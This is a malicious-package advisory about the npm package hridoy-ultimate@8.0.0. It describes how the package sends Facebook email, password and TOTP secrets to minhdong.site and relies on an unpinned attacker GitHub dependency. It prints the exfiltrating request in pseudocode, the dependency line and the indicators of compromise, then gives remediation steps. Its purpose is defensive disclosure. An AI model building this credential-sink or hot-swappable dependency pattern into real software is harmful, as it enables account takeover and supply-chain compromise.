Feed
HighMalicious packagePublished 12 Oct 20261 package · 1 version

npm `hridoy-ultimate@8.0.0` ships Facebook email + password + TOTP 2FA secrets to `minhdong.site/api/v1/facebook/login_ios` and pins its `fca-unofficial` dep at `VangBanLaNhat/fca-unofficial#HEAD`

Summary

hridoy-ultimate@8.0.0 on npm advertises as an "unofficial Facebook chat client", but module/loginHelper.js posts the caller-supplied FB email, password, AND TOTP 2FA secret to minhdong.site/api/v1/facebook/login_ios, and the package pins its fca-unofficial dependency to a bare VangBanLaNhat/fca-unofficial GitHub repo (no SHA, no tag) so the attacker can swap install-time code at will. GHSA-8chm-j6jp-f4h3 / MAL-2026-17803, published 2026-10-11.

credential-theftaccount-takeoverinfostealer
Incident type
Malicious package. A package that was malicious from its first publish under its own name - a fake tool, a lure used in a social-engineering campaign, or a trojanised utility - rather than a copy of an existing name.
Detected by
OpenSSF malicious-packages · Amazon Inspector · GitHub Advisory Database
Also known as
hridoy-ultimate FB password + TOTP exfil · minhdong.site Facebook credential sink
Ecosystems
npm
Packages tracked
1

What happened

Published to npm as hridoy-ultimate@8.0.0, flagged by Amazon Inspectors IN-MAL feed, surfaced to the OpenSSF malicious-packages` repository as MAL-2026-17803, and published to the GitHub Advisory Database on 2026-10-11 as GHSA-8chm-j6jp-f4h3 with weakness class CWE-506 (Embedded Malicious Code).

The lure

The package markets itself as an unofficial Facebook chat client (part of the long-running fca-unofficial family). Its README advertises password + TOTP login as a feature - "no app-passwords, no OAuth, just email, password and 2FA" - which is precisely the credential set the exfiltration path captures.

The payload

Two install-time and run-time behaviours.

1. Credential POST on login

module/loginHelper.js
  function loginIOS({email, password, totpSecret}) {
    POST https://minhdong.site/api/v1/facebook/login_ios
      body: { email, password, totpSecret, ...}
    -> returns {cookies, access_token}
  }

The sink endpoints default lives in module/config.js and the README does not disclose that credentials leave the local process. The servers response is passed back as if the library had talked to Facebook directly, which hides the exfiltration from any caller that only inspects return values.

The TOTP SECRET is in the request body, not just a TOTP CODE. A TOTP code expires in 30 s; a TOTP secret regenerates valid codes indefinitely, so the operator keeps 2FA access on the hijacked account until the user manually disables and re-enables TOTP from a different device.

2. GitHub HEAD-pinned dependency

package.json
  "dependencies": {
    "fca-unofficial": "github:VangBanLaNhat/fca-unofficial"
  }

No commit SHA, no tag. npm install fetches whatever HEAD of github.com/VangBanLaNhat/fca-unofficial currently points at and runs its lifecycle scripts. The vendor bundle under src/api/socket/e2ee/ require()s that module at runtime, so a force-push to the attackers GitHub repo rotates the code that runs inside anyones build.

3. Dormant WebSocket RAT

src/remote/remoteClient.js opens a WebSocket to a URL in config.js. In the shipped 8.0.0, the receive handler stores messages but does not eval them, so this is dormant for anyone who does not flip the config. It is an upgrade path, not an active channel.

IOCs

  • host: minhdong.site (sink apex)
  • url: https://minhdong.site/api/v1/facebook/login_ios (exact credential-POST path)
  • github: github.com/VangBanLaNhat/fca-unofficial (unpinned transitive)
  • files: module/loginHelper.js, module/config.js, src/api/socket/e2ee/, src/remote/remoteClient.js
  • source hash (Amazon Inspector): 221c8e51e1341e954c4f2ea3ea4a139606138c8ecc1ab99e17f403e304f05157

Classification

malicious-package (first-publish under its own name, impersonating no specific legitimate upstream but trading on the fca-unofficial family brand). high - confirmed credential-stealing primitive against a real target product (Facebook accounts with 2FA), with a working downstream reach (anyone building on this library), but the operator does not get code execution on arbitrary installer hosts unless a downstream app enables the WebSocket RAT.

Discovery

OpenSSF malicious-packages, Amazon Inspector. Advisory published to GitHub Advisory Database on 2026-10-11.

Affected packages (1)

These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once - it runs in your browser and nothing is uploaded.

Impact

  • Credential exfiltration primitive (not install-time): unlike a typical dep-confusion postinstall probe, this packages malicious behaviour fires only when a developer BUILDS an app on top of it and that app invokes the password login path. module/loginHelper.js takes the caller-supplied {email, password, totpSecret} triple, formats a request body, and POSTs it to https://minhdong.site/api/v1/facebook/login_ios whose default endpoint is set in module/config.js. The attackers server then replies with session cookies or an access token - which the library returns to the caller as if they came from Facebook. This gives the operator both the raw credentials AND a working session: they can log into the victim`s Facebook account, read messages, impersonate the user, dismiss sign-in alerts, pivot to linked WhatsApp Business accounts, and raid any Meta Business Manager access the account carries
  • TOTP 2FA secret is included in the exfiltration body - not just a one-shot TOTP code. A 2FA secret can regenerate TOTP codes indefinitely until the user resets 2FA. In practice this means the FB 2FA on the account is also owned by the attacker for as long as the secret remains unchanged, and any "account recovery" that keeps the same secret does not expel the attacker
  • Supply-chain second-stage via unpinned GitHub dep: package.json declares "fca-unofficial": "github:VangBanLaNhat/fca-unofficial" (no #<sha> and no #<tag>). npm install fetches the current HEAD of that attacker-controlled repo and runs its lifecycle scripts. The vendor bundle under src/api/socket/e2ee/ require()s that module during normal use, so there is a loaded-at-runtime second channel the operator can hot-swap by force-pushing to VangBanLaNhat/fca-unofficial. Install integrity hashes do not protect against this because the resolver pins to the git ref, not the tree
  • Opt-in WebSocket remote-control sidecar: src/remote/remoteClient.js is a config-gated WebSocket client - with the right config it keeps a persistent connection to the operator and emits events on receive, though in 8.0.0 the handler does not itself execute received data. If a downstream app enables it with the operators URL in config.js`, the package becomes a full RAT. This is dormant unless the config is flipped
  • Victim profile and reach: anyone building a bot or chat-automation tool on hridoy-ultimate@8.0.0 whose end users log in with Facebook email+password+2FA. The packages own README positions it as a successor to the long-infamous fca-unofficial family and advertises "token-free" ("just use email + password + 2FA") login, which is the exact scenario the exfiltration path depends on. Any CI that happens to run the login path against a honeypot account will leak that accounts credentials and a working session cookie

What to do

  1. 1grep -nE "hridoy-ultimate" package.json package-lock.json yarn.lock pnpm-lock.yaml .npmrc across every repo. On any hit, assume every Facebook, Instagram, WhatsApp Business, and Meta Business Manager credential your users or you logged in with through this library is in operator hands - rotate those passwords, disable then re-enable TOTP 2FA so a fresh secret is generated, revoke every active session on facebook.com/settings/active-sessions, and audit "Business Manager" and "Business Portfolio" admin logs for operator access
  2. 2grep -nE "VangBanLaNhat/fca-unofficial" package.json package-lock.json for the direct bare-repo-pin anti-pattern. On any hit (direct or transitive through hridoy-ultimate), the attackers fca-unofficial fork has been installed and its lifecycle scripts have run. Treat the installing host as compromised. Any secret the Node runtime could reach - ~/.aws/credentials, ~/.ssh/, ~/.npmrc auth tokens, GitHub PATs in ~/.config/gh/, env vars named _TOKEN / _SECRET / _KEY / AUTH / npm_` - should be rotated
  3. 3Egress blocklist additions for build hosts, bot runners, and corporate egress proxies: deny outbound HTTPS to the apex minhdong.site and to github.com/VangBanLaNhat/fca-unofficial (GitHub blocking at that path alone is proxy-dependent; blocking the user VangBanLaNhat on GitHub Enterprise is often simpler). For CI, enforce dependency pinning with --frozen-lockfile and reject any package.json whose dependency spec is a bare GitHub repo without a #<sha> or #<tag>
  4. 4Downstream signal: if your product uses hridoy-ultimate's "token-free" Facebook login as a convenience path for end users, remove it immediately. There is no safe way to pass a Facebook password through a third-party library that controls its own HTTP sink. The replacement is Facebook Login OAuth with the real /dialog/oauth flow (user types the password only on facebook.com) or Graph API usage with user-issued long-lived tokens
  5. 5Developer education: Facebook fca-unofficial family libraries have been abuse magnets for years (Facebook has repeatedly tried to block them, maintainers hand over control, forks appear on GitHub without npm presence). The ecosystem norm "its unofficial so pin the GitHub repo" is exactly what todays compromise exploits. Any npm package in the chat-automation space that pins its core dependency to a bare GitHub repo and asks for raw password + TOTP secret is structurally hostile regardless of the current maintainer`s intent

References

npm-2026-10-12-hridoy-ultimate-fb-credential-stealer